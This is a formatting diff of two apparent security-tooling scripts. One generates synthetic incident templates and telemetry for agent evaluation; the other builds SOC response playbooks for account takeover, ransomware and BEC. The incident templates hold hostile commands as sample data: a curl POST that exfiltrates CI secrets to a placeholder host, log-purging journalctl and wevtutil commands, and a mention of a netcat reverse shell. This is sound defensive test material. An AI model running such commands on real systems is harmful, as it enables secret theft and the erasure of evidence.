@@ -1699,8 +1693,7 @@ TEMPLATES: list[Template] = [
template_id="ec2-imds-credential-theft",
title="EC2 instance metadata service abused on {host}",
description=(
- "IMDSv1 abused on {host}; temporary IAM credentials for role exfilled to {ip}. "
- "CloudTrail shows AssumeRole from external."
+ "IMDSv1 abused on {host}; temporary IAM credentials for role exfilled to {ip}. " "CloudTrail shows AssumeRole from external."
),
tactics=("TA0006", "TA0004"),
techniques=("T1552.005", "T1078.004"),
@@ -1720,7 +1713,11 @@ TEMPLATES: list[Template] = [
"AssumeRole",
event_source="sts.amazonaws.com",
sourceIPAddress="{ip}",
- userIdentity={"type": "AssumedRole", "principalId": "AIDA:role-app", "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"},
+ userIdentity={
+ "type": "AssumedRole",
+ "principalId": "AIDA:role-app",
+ "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc",
+ },
userAgent="aws-cli/2.13",
),
),
@@ -1757,10 +1754,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="oauth-refresh-token-theft",
title="OAuth refresh-token theft for {user}",
- description=(
- "Refresh token for {user} replayed from {ip}. Granted access to mailbox + "
- "OneDrive without re-prompt."
- ),
+ description=("Refresh token for {user} replayed from {ip}. Granted access to mailbox + " "OneDrive without re-prompt."),
tactics=("TA0006",),
techniques=("T1550.001",),
severity="high",
@@ -1782,8 +1776,7 @@ TEMPLATES: list[Template] = [
template_id="malicious-container-image",
title="Container image with embedded backdoor pulled by {host}",
description=(
- "Image registry/repo:malicious-backdoor pulled by {host}. Layer scan flagged "
- "embedded netcat reverse-shell binary."
+ "Image registry/repo:malicious-backdoor pulled by {host}. Layer scan flagged " "embedded netcat reverse-shell binary."
),
tactics=("TA0001", "TA0002"),
techniques=("T1195.002", "T1610"),
@@ -1810,10 +1803,7 @@ TEMPLATES: list[Template] = [
Template(
template_id="outlook-auto-forward-rule",
title="Outlook rule auto-forwarding mail from {user}",
- description=(
- "Outlook inbox rule created for {user} that forwards all mail to external address at "
- "{ip}. Linked to {campaign}."
- ),
+ description=("Outlook inbox rule created for {user} that forwards all mail to external address at " "{ip}. Linked to {campaign}."),
tactics=("TA0006", "TA0009"),
techniques=("T1564.008", "T1114.003"),
severity="high",
@@ -1839,8 +1829,7 @@ TEMPLATES: list[Template] = [
template_id="linux-journald-tampering",
title="Linux journald log tampering on {host}",
description=(
- "journalctl --rotate --vacuum-time=1s observed on {host} by {user}; recent journal "
- "entries purged. Indicator removal."
+ "journalctl --rotate --vacuum-time=1s observed on {host} by {user}; recent journal " "entries purged. Indicator removal."
),
tactics=("TA0005",),
techniques=("T1070.002",),
@@ -1864,8 +1853,7 @@ TEMPLATES: list[Template] = [
template_id="compromised-ci-runner",
title="Compromised CI runner on {host} pushing to production",
description=(
- "Self-hosted CI runner {host} compromised. Job triggered from PR injected secret "
- "exfil step; secrets posted to {ip}."
+ "Self-hosted CI runner {host} compromised. Job triggered from PR injected secret " "exfil step; secrets posted to {ip}."
),
tactics=("TA0001", "TA0006", "TA0010"),
techniques=("T1195.002", "T1552.004"),
@@ -1885,7 +1873,8 @@ TEMPLATES: list[Template] = [
_auditd(
"execve",
exe="/usr/bin/curl",
- a1="-X", a2="POST",
+ a1="-X",
+ a2="POST",
a3="https://{ip}/exfil",
hostname="{host}",
user="ci-runner",
@@ -1897,8 +1886,7 @@ TEMPLATES: list[Template] = [
template_id="vpn-new-geography",
title="Suspicious VPN login from new geography for {user}",
description=(
- "VPN login for {user} from {ip} (new country, no prior history). Subsequent "
- "lateral SMB scan from VPN range to {host}."
+ "VPN login for {user} from {ip} (new country, no prior history). Subsequent " "lateral SMB scan from VPN range to {host}."
),
tactics=("TA0001", "TA0008"),
techniques=("T1078.004", "T1021.002"),
@@ -1928,8 +1916,7 @@ TEMPLATES: list[Template] = [
template_id="service-account-privileged-command",
title="Privileged command run as service account on {host}",
description=(
- "Service account {user} (no interactive use expected) ran privileged net.exe + "
- "wevtutil cl Security on {host}. Anomalous."
+ "Service account {user} (no interactive use expected) ran privileged net.exe + " "wevtutil cl Security on {host}. Anomalous."
),
tactics=("TA0005", "TA0006"),
techniques=("T1078.001", "T1070.001"),
@@ -1955,6 +1942,7 @@ TEMPLATES: list[Template] = [
# Deterministic generation
# ---------------------------------------------------------------------------
+
def _seed_index(index: int, salt: str) -> int:
"""Stable per-(index, salt) integer derived from SHA256."""
h = hashlib.sha256(f"{index}-{salt}".encode()).hexdigest()
@@ -2128,23 +2116,13 @@ def main() -> int:
parser.add_argument(
"--out",
type=Path,
- default=Path(__file__).parent.parent
- / "services"
- / "agents"
- / "tests"
- / "eval_data"
- / "synthetic_incidents.json",
+ default=Path(__file__).parent.parent / "services" / "agents" / "tests" / "eval_data" / "synthetic_incidents.json",
help="Output JSON path",
)
parser.add_argument(
"--telemetry-out",
type=Path,
- default=Path(__file__).parent.parent
- / "services"
- / "agents"
- / "tests"
- / "eval_data"
- / "synthetic_telemetry.jsonl",
+ default=Path(__file__).parent.parent / "services" / "agents" / "tests" / "eval_data" / "synthetic_telemetry.jsonl",
help="Output JSONL path for the synthetic telemetry stream (one event per line)",
)
parser.add_argument("--coverage", action="store_true", help="Print coverage report after generating")
diff --git a/scripts/generate_playbooks.py b/scripts/generate_playbooks.py
index 504fce9b8..4b653e544 100755
--- a/scripts/generate_playbooks.py
+++ b/scripts/generate_playbooks.py
@@ -35,6 +35,7 @@ Rollback is modelled by pairing every containment action with a
`condition` + matching reverse-action step, gated on
`verdict == false_positive`.
"""
+
from __future__ import annotations
import json
@@ -85,9 +86,12 @@ def step(
def enrich(sid: str, name: str, indicator_field: str) -> dict[str, Any]:
return step(
- sid, name, "enrich",
+ sid,
+ name,
+ "enrich",
params={"indicator_field": indicator_field},
- on_failure="continue", timeout=30,
+ on_failure="continue",
+ timeout=30,
)
@@ -95,13 +99,12 @@ def investigate(sid: str, name: str, focus: str | None = None) -> dict[str, Any]
params: dict[str, Any] = {"case_id_field": "alert.case_id"}
if focus:
params["focus"] = focus
- return step(sid, name, "investigate", params=params,
- on_failure="continue", timeout=180)
+ return step(sid, name, "investigate", params=params, on_failure="continue", timeout=180)
-def notify(sid: str, name: str, channel: str, message: str,
- service_env: str | None = None,
- webhook_env: str | None = None) -> dict[str, Any]:
+def notify(
+ sid: str, name: str, channel: str, message: str, service_env: str | None = None, webhook_env: str | None = None
+) -> dict[str, Any]:
params: dict[str, Any] = {"channel": channel, "message_template": message}
if service_env:
params["service_key_env"] = service_env
@@ -112,41 +115,50 @@ def notify(sid: str, name: str, channel: str, message: str,
def block_ip(sid: str, name: str, ip_field: str, duration: str = "24h") -> dict[str, Any]:
return step(
- sid, name, "block_ip",
+ sid,
+ name,
+ "block_ip",
params={"ip_field": ip_field, "duration": duration},
- on_failure="abort", timeout=20,
+ on_failure="abort",
+ timeout=20,
)
def isolate_host(sid: str, name: str, host_field: str = "alert.host") -> dict[str, Any]:
return step(
- sid, name, "isolate_host",
+ sid,
+ name,
+ "isolate_host",
params={"host_field": host_field},
- on_failure="abort", timeout=30,
+ on_failure="abort",
+ timeout=30,
)
-def ticket(sid: str, name: str, priority: str, title: str,
- queue: str = "soc") -> dict[str, Any]:
+def ticket(sid: str, name: str, priority: str, title: str, queue: str = "soc") -> dict[str, Any]:
return step(
- sid, name, "create_ticket",
+ sid,
+ name,
+ "create_ticket",
params={"priority": priority, "title_template": title, "queue": queue},
timeout=20,
)
-def close_case(sid: str, name: str, resolution: str = "false_positive",
- condition: dict[str, Any] | None = None) -> dict[str, Any]:
+def close_case(sid: str, name: str, resolution: str = "false_positive", condition: dict[str, Any] | None = None) -> dict[str, Any]:
return step(
- sid, name, "close_case",
+ sid,
+ name,
+ "close_case",
params={"resolution": resolution},
- condition=condition, timeout=10,
+ condition=condition,
+ timeout=10,
)
-def http(sid: str, name: str, url: str, method: str = "POST",
- body_template: str | None = None,
- headers_env: str | None = None) -> dict[str, Any]:
+def http(
+ sid: str, name: str, url: str, method: str = "POST", body_template: str | None = None, headers_env: str | None = None
+) -> dict[str, Any]:
params: dict[str, Any] = {"url": url, "method": method}
if body_template:
params["body_template"] = body_template
@@ -155,14 +167,16 @@ def http(sid: str, name: str, url: str, method: str = "POST",
return step(sid, name, "http", params=params, timeout=20)
-def condition(sid: str, name: str, field: str, op: str, value: Any,
- next_true: str | None = None,
- next_false: str | None = None) -> dict[str, Any]:
+def condition(
+ sid: str, name: str, field: str, op: str, value: Any, next_true: str | None = None, next_false: str | None = None
+) -> dict[str, Any]:
cond: dict[str, Any] = {"field": field, "operator": op}
if value is not None:
cond["value"] = value
return step(
- sid, name, "condition",
+ sid,
+ name,
+ "condition",
params={},
condition=cond,
next_true=next_true,
@@ -171,9 +185,9 @@ def condition(sid: str, name: str, field: str, op: str, value: Any,
)
-def gate_human_approval(sid: str, on_oncall_field: str = "context.approved_by_oncall",
- next_true: str | None = None,
- next_false: str | None = None) -> dict[str, Any]:
+def gate_human_approval(
+ sid: str, on_oncall_field: str = "context.approved_by_oncall", next_true: str | None = None, next_false: str | None = None
+) -> dict[str, Any]:
"""A condition step that gates downstream work on out-of-band approval."""
return condition(
sid,
@@ -253,28 +267,39 @@ def build_account_takeover() -> list[dict[str, Any]]:
"force-revokes active sessions for the user, and requires human "
"approval before forcing a password reset."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["ato", "identity", "mitre.t1078"],
steps=[
enrich("e1", "Geo-enrich source IP", "alert.source_ip"),
investigate("inv", "Investigate user activity", focus="identity"),
block_ip("b1", "Block source IP at edge", "alert.source_ip", "12h"),
- http("rev", "Revoke active sessions",
- url="${IDP_BASE_URL}/users/{{alert.user}}/sessions",
- method="DELETE", headers_env="IDP_BEARER_HEADERS"),
- notify("n1", "Notify user via email", "email",
- message="Suspicious sign-in from {{alert.source_ip}} blocked. "
- "Reset your password.",
- webhook_env="EMAIL_WEBHOOK"),
+ http(
+ "rev",
+ "Revoke active sessions",
+ url="${IDP_BASE_URL}/users/{{alert.user}}/sessions",
+ method="DELETE",
+ headers_env="IDP_BEARER_HEADERS",
+ ),
+ notify(
+ "n1",
+ "Notify user via email",
+ "email",
+ message="Suspicious sign-in from {{alert.source_ip}} blocked. " "Reset your password.",
+ webhook_env="EMAIL_WEBHOOK",
+ ),
gate_human_approval("approve", next_true="reset"),
- http("reset", "Force password reset",
- url="${IDP_BASE_URL}/users/{{alert.user}}/password/reset",
- method="POST", headers_env="IDP_BEARER_HEADERS"),
- ticket("t1", "Open ATO investigation ticket",
- "P2", "ATO suspected: {{alert.user}} from {{alert.source_ip}}"),
- close_case("close-fp", "Close if false positive",
- condition={"field": "verdict", "operator": "eq",
- "value": "false_positive"}),
+ http(
+ "reset",
+ "Force password reset",
+ url="${IDP_BASE_URL}/users/{{alert.user}}/password/reset",
+ method="POST",
+ headers_env="IDP_BEARER_HEADERS",
+ ),
+ ticket("t1", "Open ATO investigation ticket", "P2", "ATO suspected: {{alert.user}} from {{alert.source_ip}}"),
+ close_case(
+ "close-fp", "Close if false positive", condition={"field": "verdict", "operator": "eq", "value": "false_positive"}
+ ),
],
),
make_playbook(
@@ -284,24 +309,25 @@ def build_account_takeover() -> list[dict[str, Any]]:
"Triggered when a user receives an unusual burst of MFA prompts. "
"Enforces step-up auth and resets MFA factors after approval."
),
- category=cat, severity=["medium", "high"],
+ category=cat,
+ severity=["medium", "high"],
tags=["ato", "identity", "mfa", "mitre.t1621"],
steps=[
enrich("e1", "Enrich user device posture", "alert.user"),
investigate("inv", "Score MFA-fatigue likelihood"),
- http("step-up", "Force step-up auth challenge",
- url="${IDP_BASE_URL}/users/{{alert.user}}/factors/challenge",
- method="POST"),
- notify("n1", "DM user on Slack", "slack",
- message="We've challenged your sign-in due to repeated MFA prompts. "
- "Approve only if you initiated.",
- webhook_env="SLACK_USER_WEBHOOK"),
+ http(
+ "step-up", "Force step-up auth challenge", url="${IDP_BASE_URL}/users/{{alert.user}}/factors/challenge", method="POST"
+ ),
+ notify(
+ "n1",
+ "DM user on Slack",
+ "slack",
+ message="We've challenged your sign-in due to repeated MFA prompts. " "Approve only if you initiated.",
+ webhook_env="SLACK_USER_WEBHOOK",
+ ),
gate_human_approval("approve", next_true="reset-mfa"),
- http("reset-mfa", "Reset enrolled MFA factors",
- url="${IDP_BASE_URL}/users/{{alert.user}}/factors",
- method="DELETE"),
- ticket("t1", "Open MFA-fatigue case",
- "P3", "MFA fatigue investigation: {{alert.user}}"),
+ http("reset-mfa", "Reset enrolled MFA factors", url="${IDP_BASE_URL}/users/{{alert.user}}/factors", method="DELETE"),
+ ticket("t1", "Open MFA-fatigue case", "P3", "MFA fatigue investigation: {{alert.user}}"),
],
),
make_playbook(
@@ -311,26 +337,29 @@ def build_account_takeover() -> list[dict[str, Any]]:
"Triggered by high-volume failed logins from a single source. "
"Blocks the IP range, identifies impacted users, and forces resets."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["ato", "identity", "mitre.t1110.004"],
steps=[
enrich("e1", "Enrich source IP reputation", "alert.source_ip"),
block_ip("b1", "Block source IP", "alert.source_ip", "48h"),
- http("list", "List impacted users",
- url="${SIEM_URL}/search/credential_stuffing/{{alert.source_ip}}",
- method="GET"),
- investigate("inv", "Investigate cred-stuffing campaign",
- focus="identity"),
- http("reset-all", "Force reset for impacted users",
- url="${IDP_BASE_URL}/bulk/password-reset",
- method="POST",
- body_template='{"user_ids": {{context.impacted_user_ids}}}'),
- notify("n1", "Page identity team", "pagerduty",
- message="Credential stuffing from {{alert.source_ip}}: "
- "{{context.impacted_user_count}} users reset.",
- service_env="PD_IDENTITY_KEY"),
- ticket("t1", "Open ATO ticket",
- "P1", "Credential stuffing: {{alert.source_ip}}"),
+ http("list", "List impacted users", url="${SIEM_URL}/search/credential_stuffing/{{alert.source_ip}}", method="GET"),
+ investigate("inv", "Investigate cred-stuffing campaign", focus="identity"),
+ http(
+ "reset-all",
+ "Force reset for impacted users",
+ url="${IDP_BASE_URL}/bulk/password-reset",
+ method="POST",
+ body_template='{"user_ids": {{context.impacted_user_ids}}}',
+ ),
+ notify(
+ "n1",
+ "Page identity team",
+ "pagerduty",
+ message="Credential stuffing from {{alert.source_ip}}: " "{{context.impacted_user_count}} users reset.",
+ service_env="PD_IDENTITY_KEY",
+ ),
+ ticket("t1", "Open ATO ticket", "P1", "Credential stuffing: {{alert.source_ip}}"),
],
),
make_playbook(
@@ -341,48 +370,54 @@ def build_account_takeover() -> list[dict[str, Any]]:
"device + new geo simultaneously. Revokes all tokens and isolates "
"the originating endpoint if known."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["ato", "identity", "session-hijack", "mitre.t1539"],
steps=[
enrich("e1", "Enrich session context", "alert.session_id"),
- http("revoke", "Revoke all sessions for user",
- url="${IDP_BASE_URL}/users/{{alert.user}}/sessions/revoke-all",
- method="POST"),
- investigate("inv", "Investigate token-theft chain",
- focus="forensics"),
+ http(
+ "revoke", "Revoke all sessions for user", url="${IDP_BASE_URL}/users/{{alert.user}}/sessions/revoke-all", method="POST"
+ ),
+ investigate("inv", "Investigate token-theft chain", focus="forensics"),
isolate_host("iso", "Isolate originating endpoint", "alert.host"),
- notify("n1", "Page on-call", "pagerduty",
- message="Session theft suspected for {{alert.user}}. "
- "Tokens revoked, host {{alert.host}} isolated.",
- service_env="PD_SOC_KEY"),
- ticket("t1", "Open P1 ATO ticket",
- "P1", "Session token theft: {{alert.user}}"),
+ notify(
+ "n1",
+ "Page on-call",
+ "pagerduty",
+ message="Session theft suspected for {{alert.user}}. " "Tokens revoked, host {{alert.host}} isolated.",
+ service_env="PD_SOC_KEY",
+ ),
+ ticket("t1", "Open P1 ATO ticket", "P1", "Session token theft: {{alert.user}}"),
],
),
make_playbook(
pid="ato-suspicious-oauth-grant-v1",
name="ATO: Suspicious OAuth Grant — Revoke & Investigate",
description=(
- "Triggered when a user grants a new OAuth scope to an unfamiliar "
- "third-party app. Revokes the grant and investigates."
+ "Triggered when a user grants a new OAuth scope to an unfamiliar " "third-party app. Revokes the grant and investigates."
),
- category=cat, severity=["medium", "high"],
+ category=cat,
+ severity=["medium", "high"],
tags=["ato", "identity", "oauth", "mitre.t1528"],
steps=[
- enrich("e1", "Enrich OAuth client reputation",
- "alert.oauth_client_id"),
- investigate("inv", "Investigate scope and lineage",
- focus="identity"),
- http("revoke", "Revoke OAuth grant",
- url="${IDP_BASE_URL}/users/{{alert.user}}/oauth/{{alert.oauth_client_id}}",
- method="DELETE"),
- notify("n1", "Notify user", "email",
- message="Removed OAuth grant for {{alert.oauth_client_app_name}}. "
- "Re-add only if intentional.",
- webhook_env="EMAIL_WEBHOOK"),
- ticket("t1", "Open OAuth-abuse ticket",
- "P3", "Suspicious OAuth grant: {{alert.user}} -> "
- "{{alert.oauth_client_app_name}}"),
+ enrich("e1", "Enrich OAuth client reputation", "alert.oauth_client_id"),
+ investigate("inv", "Investigate scope and lineage", focus="identity"),
+ http(
+ "revoke",
+ "Revoke OAuth grant",
+ url="${IDP_BASE_URL}/users/{{alert.user}}/oauth/{{alert.oauth_client_id}}",
+ method="DELETE",
+ ),
+ notify(
+ "n1",
+ "Notify user",
+ "email",
+ message="Removed OAuth grant for {{alert.oauth_client_app_name}}. " "Re-add only if intentional.",
+ webhook_env="EMAIL_WEBHOOK",
+ ),
+ ticket(
+ "t1", "Open OAuth-abuse ticket", "P3", "Suspicious OAuth grant: {{alert.user}} -> " "{{alert.oauth_client_app_name}}"
+ ),
],
),
]
@@ -395,24 +430,24 @@ def build_ransomware() -> list[dict[str, Any]]:
pid="ransomware-host-isolate-v1",
name="Ransomware: Host Isolation & Snapshot",
description=(
- "Immediate host isolation, disk snapshot for forensics, page on-call. "
- "Standard first-response for endpoint ransomware."
+ "Immediate host isolation, disk snapshot for forensics, page on-call. " "Standard first-response for endpoint ransomware."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["ransomware", "endpoint", "mitre.t1486"],
steps=[
isolate_host("iso", "Isolate host (EDR)"),
- http("snap", "Snapshot host disk",
- url="${EDR_URL}/hosts/{{alert.host}}/snapshot",
- method="POST"),
+ http("snap", "Snapshot host disk", url="${EDR_URL}/hosts/{{alert.host}}/snapshot", method="POST"),
enrich("e1", "Enrich file hash", "alert.file_hash"),
investigate("inv", "Forensic investigation", focus="forensics"),
- notify("n1", "Page on-call (SEV1)", "pagerduty",
- message="RANSOMWARE: {{alert.host}} isolated. "
- "Snapshot {{context.snapshot_id}} taken.",
- service_env="PD_RANSOMWARE_KEY"),
- ticket("t1", "Open SEV1 ticket",
- "P1", "RANSOMWARE: {{alert.host}}"),
+ notify(
+ "n1",
+ "Page on-call (SEV1)",
+ "pagerduty",
+ message="RANSOMWARE: {{alert.host}} isolated. " "Snapshot {{context.snapshot_id}} taken.",
+ service_env="PD_RANSOMWARE_KEY",
+ ),
+ ticket("t1", "Open SEV1 ticket", "P1", "RANSOMWARE: {{alert.host}}"),
],
),
make_playbook(
@@ -422,21 +457,21 @@ def build_ransomware() -> list[dict[str, Any]]:
"Triggered on `vssadmin delete shadows` or wmic shadowcopy delete. "
"Pre-encryption signal — isolate fast and verify backups."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["ransomware", "endpoint", "mitre.t1490"],
steps=[
isolate_host("iso", "Isolate host (EDR)"),
- http("verify-backup", "Verify last successful backup",
- url="${BACKUP_URL}/hosts/{{alert.host}}/last-backup",
- method="GET"),
- investigate("inv", "Forensic investigation",
- focus="forensics"),
- notify("n1", "Notify backup team", "slack",
- message="Shadow-copy deletion on {{alert.host}}. "
- "Last backup: {{context.last_backup_at}}.",
- webhook_env="SLACK_BACKUP_WEBHOOK"),
- ticket("t1", "Open ransomware ticket",
- "P1", "Shadow copies deleted: {{alert.host}}"),
+ http("verify-backup", "Verify last successful backup", url="${BACKUP_URL}/hosts/{{alert.host}}/last-backup", method="GET"),
+ investigate("inv", "Forensic investigation", focus="forensics"),
+ notify(
+ "n1",
+ "Notify backup team",
+ "slack",
+ message="Shadow-copy deletion on {{alert.host}}. " "Last backup: {{context.last_backup_at}}.",
+ webhook_env="SLACK_BACKUP_WEBHOOK",
+ ),
+ ticket("t1", "Open ransomware ticket", "P1", "Shadow copies deleted: {{alert.host}}"),
],
),
make_playbook(
@@ -446,22 +481,27 @@ def build_ransomware() -> list[dict[str, Any]]:
"Triggered by mass-rename / mass-extension-change on a file server. "
"Network-segments the host to halt SMB lateral encryption."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["ransomware", "fileserver", "mitre.t1486"],
steps=[
isolate_host("iso", "Network-segment file server"),
- http("smb-deny", "Push deny rule to firewall (SMB)",
- url="${FW_URL}/policy/deny-smb",
- method="POST",
- body_template='{"src":"{{alert.host}}","port":445}'),
- investigate("inv", "Forensic investigation",
- focus="forensics"),
- notify("n1", "Page storage and on-call", "pagerduty",
- message="File-server ransomware: {{alert.host}}. "
- "SMB egress blocked.",
- service_env="PD_STORAGE_KEY"),
- ticket("t1", "Open SEV1 ticket",
- "P1", "File-server ransomware: {{alert.host}}"),
+ http(
+ "smb-deny",
+ "Push deny rule to firewall (SMB)",
+ url="${FW_URL}/policy/deny-smb",
+ method="POST",
+ body_template='{"src":"{{alert.host}}","port":445}',
+ ),
+ investigate("inv", "Forensic investigation", focus="forensics"),
+ notify(
+ "n1",
+ "Page storage and on-call",
+ "pagerduty",
+ message="File-server ransomware: {{alert.host}}. " "SMB egress blocked.",
+ service_env="PD_STORAGE_KEY",
+ ),
+ ticket("t1", "Open SEV1 ticket", "P1", "File-server ransomware: {{alert.host}}"),
],
),
make_playbook(
@@ -471,48 +511,46 @@ def build_ransomware() -> list[dict[str, Any]]:
"Triggered by C2 beaconing detections that match ransomware-family "
"TTPs. Blocks C2 destinations at edge, isolates source host."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["ransomware", "c2", "mitre.t1071"],
steps=[
enrich("e1", "Enrich destination IP", "alert.dst_ip"),
block_ip("b1", "Block C2 destination", "alert.dst_ip", "30d"),
isolate_host("iso", "Isolate beaconing host"),
- investigate("inv", "Investigate ransomware C2",
- focus="forensics"),
- notify("n1", "Notify SOC", "slack",
- message="C2 {{alert.dst_ip}} blocked. "
- "Host {{alert.host}} isolated.",
- webhook_env="SLACK_SOC_WEBHOOK"),
- ticket("t1", "Open C2 ticket",
- "P1", "Ransomware C2: {{alert.host}} -> "
- "{{alert.dst_ip}}"),
+ investigate("inv", "Investigate ransomware C2", focus="forensics"),
+ notify(
+ "n1",
+ "Notify SOC",
+ "slack",
+ message="C2 {{alert.dst_ip}} blocked. " "Host {{alert.host}} isolated.",
+ webhook_env="SLACK_SOC_WEBHOOK",
+ ),
+ ticket("t1", "Open C2 ticket", "P1", "Ransomware C2: {{alert.host}} -> " "{{alert.dst_ip}}"),
],
),
make_playbook(
pid="ransomware-public-exposure-v1",
name="Ransomware: Internet-Exposed Asset Containment",
description=(
- "Triggered when a host with public exposure shows ransomware "
- "indicators. Pulls the asset off the internet immediately."
+ "Triggered when a host with public exposure shows ransomware " "indicators. Pulls the asset off the internet immediately."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["ransomware", "exposure", "mitre.t1486"],
steps=[
- http("detach-eip", "Detach public IP",
- url="${CLOUD_URL}/instances/{{alert.host}}/detach-public-ip",
- method="POST"),
+ http("detach-eip", "Detach public IP", url="${CLOUD_URL}/instances/{{alert.host}}/detach-public-ip", method="POST"),
isolate_host("iso", "Isolate host (EDR)"),
- http("snap", "Snapshot host disk",
- url="${EDR_URL}/hosts/{{alert.host}}/snapshot",
- method="POST"),
- investigate("inv", "Forensic investigation",
- focus="forensics"),
- notify("n1", "Page on-call (SEV1)", "pagerduty",
- message="Internet-exposed host {{alert.host}} pulled off-net. "
- "Ransomware suspected.",
- service_env="PD_RANSOMWARE_KEY"),
- ticket("t1", "Open SEV1 ticket",
- "P1", "Ransomware on exposed host: {{alert.host}}"),
+ http("snap", "Snapshot host disk", url="${EDR_URL}/hosts/{{alert.host}}/snapshot", method="POST"),
+ investigate("inv", "Forensic investigation", focus="forensics"),
+ notify(
+ "n1",
+ "Page on-call (SEV1)",
+ "pagerduty",
+ message="Internet-exposed host {{alert.host}} pulled off-net. " "Ransomware suspected.",
+ service_env="PD_RANSOMWARE_KEY",
+ ),
+ ticket("t1", "Open SEV1 ticket", "P1", "Ransomware on exposed host: {{alert.host}}"),
],
),
]
@@ -528,50 +566,49 @@ def build_bec() -> list[dict[str, Any]]:
"Triggered when a forwarding/filter rule is created that hides "
"vendor or finance keywords. Removes the rule and resets creds."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["bec", "email", "mitre.t1564.008"],
steps=[
- enrich("e1", "Enrich rule details",
- "alert.inbox_rule_id"),
- http("delete-rule", "Delete malicious inbox rule",
- url="${MAIL_URL}/users/{{alert.user}}/rules/{{alert.inbox_rule_id}}",
- method="DELETE"),
- http("revoke", "Revoke active sessions",
- url="${IDP_BASE_URL}/users/{{alert.user}}/sessions/revoke-all",
- method="POST"),
- investigate("inv", "Investigate BEC chain",
- focus="identity"),
- notify("n1", "Notify finance team", "slack",
- message="BEC rule removed for {{alert.user}}. "
- "Validate any vendor changes in the last 7d.",
- webhook_env="SLACK_FINANCE_WEBHOOK"),
- ticket("t1", "Open BEC ticket",
- "P2", "BEC inbox rule: {{alert.user}}"),
+ enrich("e1", "Enrich rule details", "alert.inbox_rule_id"),
+ http(
+ "delete-rule",
+ "Delete malicious inbox rule",
+ url="${MAIL_URL}/users/{{alert.user}}/rules/{{alert.inbox_rule_id}}",
+ method="DELETE",
+ ),
+ http("revoke", "Revoke active sessions", url="${IDP_BASE_URL}/users/{{alert.user}}/sessions/revoke-all", method="POST"),
+ investigate("inv", "Investigate BEC chain", focus="identity"),
+ notify(
+ "n1",
+ "Notify finance team",
+ "slack",
+ message="BEC rule removed for {{alert.user}}. " "Validate any vendor changes in the last 7d.",
+ webhook_env="SLACK_FINANCE_WEBHOOK",
+ ),
+ ticket("t1", "Open BEC ticket", "P2", "BEC inbox rule: {{alert.user}}"),
],
),
make_playbook(
pid="bec-vendor-payment-redirect-v1",
name="BEC: Vendor Payment Redirect — Freeze",
- description=(
- "Triggered when a vendor banking detail change happens via email. "
- "Freezes pending payments and pages CFO."
- ),
- category=cat, severity=["critical"],
+ description=("Triggered when a vendor banking detail change happens via email. " "Freezes pending payments and pages CFO."),
+ category=cat,
+ severity=["critical"],
tags=["bec", "finance", "mitre.t1565.001"],
steps=[
- http("freeze", "Freeze pending vendor payment",
- url="${ERP_URL}/payments/{{alert.payment_id}}/freeze",
- method="POST"),
+ http("freeze", "Freeze pending vendor payment", url="${ERP_URL}/payments/{{alert.payment_id}}/freeze", method="POST"),
investigate("inv", "Investigate vendor change", focus="identity"),
- notify("n1", "Page CFO", "pagerduty",
- message="Vendor payment {{alert.payment_id}} frozen pending review.",
- service_env="PD_CFO_KEY"),
+ notify(
+ "n1",
+ "Page CFO",
+ "pagerduty",
+ message="Vendor payment {{alert.payment_id}} frozen pending review.",
+ service_env="PD_CFO_KEY",
+ ),
gate_human_approval("approve", next_true="release"),
- http("release", "Release payment after approval",
- url="${ERP_URL}/payments/{{alert.payment_id}}/release",
- method="POST"),
- ticket("t1", "Open BEC payment ticket",
- "P1", "BEC payment redirect: {{alert.vendor}}"),
+ http("release", "Release payment after approval", url="${ERP_URL}/payments/{{alert.payment_id}}/release", method="POST"),
+ ticket("t1", "Open BEC payment ticket", "P1", "BEC payment redirect: {{alert.vendor}}"),
],
),
make_playbook(
@@ -581,24 +618,33 @@ def build_bec() -> list[dict[str, Any]]:
"Triggered when an inbound email originates from a domain that "
"look-alikes an executive or vendor. Quarantines and blocks."
),
- category=cat, severity=["high"],
+ category=cat,
+ severity=["high"],
tags=["bec", "email", "mitre.t1656"],
steps=[
enrich("e1", "Enrich sender domain", "alert.sender_domain"),
- http("quarantine", "Quarantine impersonation message",
- url="${MAIL_URL}/messages/{{alert.message_id}}/quarantine",
- method="POST"),
- http("block-domain", "Block sender domain",
- url="${MAIL_URL}/policy/block-domain",
- method="POST",
- body_template='{"domain":"{{alert.sender_domain}}"}'),
- investigate("inv", "Investigate BEC campaign",
- focus="identity"),
- notify("n1", "Notify SOC", "slack",
- message="Impersonation domain {{alert.sender_domain}} blocked.",
- webhook_env="SLACK_SOC_WEBHOOK"),
- ticket("t1", "Open BEC ticket",
- "P3", "BEC impersonation: {{alert.sender_domain}}"),
+ http(
+ "quarantine",
+ "Quarantine impersonation message",
+ url="${MAIL_URL}/messages/{{alert.message_id}}/quarantine",
+ method="POST",
+ ),
+ http(
+ "block-domain",
+ "Block sender domain",
+ url="${MAIL_URL}/policy/block-domain",
+ method="POST",
+ body_template='{"domain":"{{alert.sender_domain}}"}',
+ ),
+ investigate("inv", "Investigate BEC campaign", focus="identity"),
+ notify(
+ "n1",
+ "Notify SOC",
+ "slack",
+ message="Impersonation domain {{alert.sender_domain}} blocked.",
+ webhook_env="SLACK_SOC_WEBHOOK",
+ ),
+ ticket("t1", "Open BEC ticket", "P3", "BEC impersonation: {{alert.sender_domain}}"),
],
),
make_playbook(
@@ -608,21 +654,23 @@ def build_bec() -> list[dict[str, Any]]:
"Triggered when a BEC-related sign-in succeeds from a region "
"that should be blocked by Conditional Access. Restores policy."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["bec", "identity", "conditional-access"],
steps=[
- enrich("e1", "Enrich CA policy state",
- "alert.policy_id"),
- http("restore", "Restore conditional access policy",
